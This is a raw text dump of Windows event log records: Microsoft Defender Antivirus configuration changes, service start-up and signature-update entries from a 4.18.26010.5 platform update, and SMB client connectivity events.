4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\117 = 0x96B4268 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\156 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\83 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\89 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_17 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_7 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\138 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\187 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\21 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\32 = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\52 = 0x8 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\101 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\123 = 0x191 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\50 = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_13 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\136 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\69 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\9 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_16 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_9 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\10 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\100 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\131 = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\137 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\48 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_20 = 0x400 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_4 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\148 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\103 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\13 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\134 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\15 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\54 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_24 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\118 = 0x96B4650 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\119 = 0x64 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\120 = 0x64 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\22 = 0x3E Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\30 = 0x67 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\78 = 0x2 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_15 = 0x3 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_5 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operr Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\NIS\Consumers\IPS\DisableBmNetworkSensor = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\NIS\Consumers\IPS\DisableBmNetworkSensor = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Product Name Product Version Feature Name Configuration Unused Feature ID Microsoft Defender Antivirus 4.18.25080.5 Network Inspection System Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 Default\IsServiceRunning = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\IsServiceRunning = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.25080.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = InitializeMiscConfigLibrary HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = PostPlatformUpdate Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 Default\ServiceStartStates = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\ServiceStartStates = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational EventData Data Product Name Product Version Old Value New Value Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = PostPlatformUpdate HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = InitPluginModules Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = InitPluginModules HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = LoadingEngine Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\InstallLocation = C:\Program Files\Windows Defender\ HKLM\SOFTWARE\Microsoft\Windows Defender\InstallLocation = C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\ Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 Default\ProductAppDataPath = C:\ProgramData\Microsoft\Windows Defender HKLM\SOFTWARE\Microsoft\Windows Defender\ProductAppDataPath = C:\ProgramData\Microsoft\Windows Defender Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0x6B3463F1 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xC3C72B9D Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = LoadingEngine HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = ServiceStartedSuccessfully Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\209 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_29 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\227 = 0x3 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\241 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\207 = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\_28 = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\131 = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\ServiceStartStates = 0x1 Default\ServiceStartStates = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\CleanupComponentProgress = CleanupCompleted HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\CleanupComponentProgress = RtpPluginStop Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = InitializeMiscConfigLibrary HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = InitializeMapsLatency Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 Default\ServiceStartStates = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\ServiceStartStates = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = PostPlatformUpdate HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = LoadingEngine Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xC61D558E HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xDD535DA5 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = LoadingEngine HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = ServiceStartedSuccessfully Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 N/A\Diagnostics\ProtectionManagementMofHash = HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\ProtectionManagementMofHash = febff51ddb850d58d3758b5348ea3c7cd55879f7d3c6e3f08f3aa0c43ef30f95 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\ServiceStartStates = 0x1 Default\ServiceStartStates = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 Default\ProductAppDataPath = C:\ProgramData\Microsoft\Windows Defender HKLM\SOFTWARE\Microsoft\Windows Defender\ProductAppDataPath = C:\ProgramData\Microsoft\Windows Defender Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Product Name Product Version %Current security intelligence Version Unused Unused2 Unused3 Unused4 Domain User Security intelligence Type Index Security intelligence Type Unused5 Unused6 Current Engine Version Unused7 Unused8 Unused9 Unused10 Unused11 Unused12 (Cloud protection intelligence Type Index "Cloud protection intelligence Type Persistence Path %Cloud protection intelligence Version 3Cloud protection intelligence Compilation Timestamp Persistence Limit Type Index Persistence Limit Type Persistence Limit Value Microsoft Defender Antivirus 4.18.26010.5 1.445.172.0 1.1.26010.1 Security intelligence update C:\ProgramData\Microsoft\Windows Defender\Scans\RtSigs\data\e564d42d45fe449e1ac1897e7f3bf4f80e75b60d 0.0.0.0 21.02.2026 11:25:38 Duration 50065408 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 1.445.172.0 1.1.26010.1 Security intelligence update C:\ProgramData\Microsoft\Windows Defender\Scans\RtSigs\data\93c06234794f9c0b75a708c93a62624935e69594 0.0.0.0 21.02.2026 11:26:46 Duration 50065408 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 Default\UX Configuration\ToastOrSsoTrigger = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration\ToastOrSsoTrigger = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Product Name Product Version %Current security intelligence Version &Previous security intelligence Version Unused Unused2 Unused3 Domain User Security intelligence Type Index Security intelligence Type Update Type Index Update Type Current Engine Version Previous Engine Version Microsoft Defender Antivirus 4.18.26010.5 1.445.173.0 1.445.172.0 NT AUTHORITY SYSTEM S-1-5-18 AntiVirus Delta 1.1.26010.1 1.1.26010.1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 1.445.173.0 1.445.172.0 NT AUTHORITY SYSTEM S-1-5-18 AntiSpyware Delta 1.1.26010.1 1.1.26010.1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xDD535DA5 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xE991AAC5 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\CleanupComponentProgress = CleanupCompleted HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\CleanupComponentProgress = ShutdownSpyNetManager Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\CleanupComponentProgress = ShutdownSpyNetManager HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\CleanupComponentProgress = RtpPluginStop Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 Default\ServiceStartStates = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\ServiceStartStates = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = PostPlatformUpdate HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = InitPluginModules Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = InitPluginModules HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = RegistringUxToastLibrary Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = RegistringUxToastLibrary HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = LoadingEngine Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xF2DFA2EE HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xE991AAC5 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = LoadingEngine HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = ServiceStartedSuccessfully Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\ServiceStartStates = 0x1 Default\ServiceStartStates = 0x0 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 Default\ProductAppDataPath = C:\ProgramData\Microsoft\Windows Defender HKLM\SOFTWARE\Microsoft\Windows Defender\ProductAppDataPath = C:\ProgramData\Microsoft\Windows Defender Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\CleanupComponentProgress = CleanupCompleted HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\CleanupComponentProgress = RtpPluginStop Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 Default\IsServiceRunning = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\IsServiceRunning = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xE991AAC5 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xF2DFA2EE Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = InitializeMiscConfigLibrary HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = PostPlatformUpdate Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 Default\ServiceStartStates = 0x0 HKLM\SOFTWARE\Microsoft\Windows Defender\ServiceStartStates = 0x1 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = PostPlatformUpdate HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = InitSpynetManager Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = InitSpynetManager HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = RegistringUxToastLibrary Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = RegistringUxToastLibrary HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = LoadingEngine Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xF2DFA2EE HKLM\SOFTWARE\Microsoft\Windows Defender\CoreService\WdConfigHash = 0xE991AAC5 Microsoft-Windows-Windows Defender Microsoft-Windows-Windows Defender/Operational Microsoft Defender Antivirus 4.18.26010.5 HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = LoadingEngine HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\InitializingComponentProgress = ServiceStartedSuccessfully Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity EventData Data NameLength Name IfIndex Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity ServerNameLength ServerName :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity Ethernet0 Microsoft-Windows-SMBClient Microsoft-Windows-SmbClient/Connectivity :\Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} "Wide310x150Logo.scale-200.png.DATA Wide310x150Logo.scale-200.png Wide310x150Logo.scale-200.png 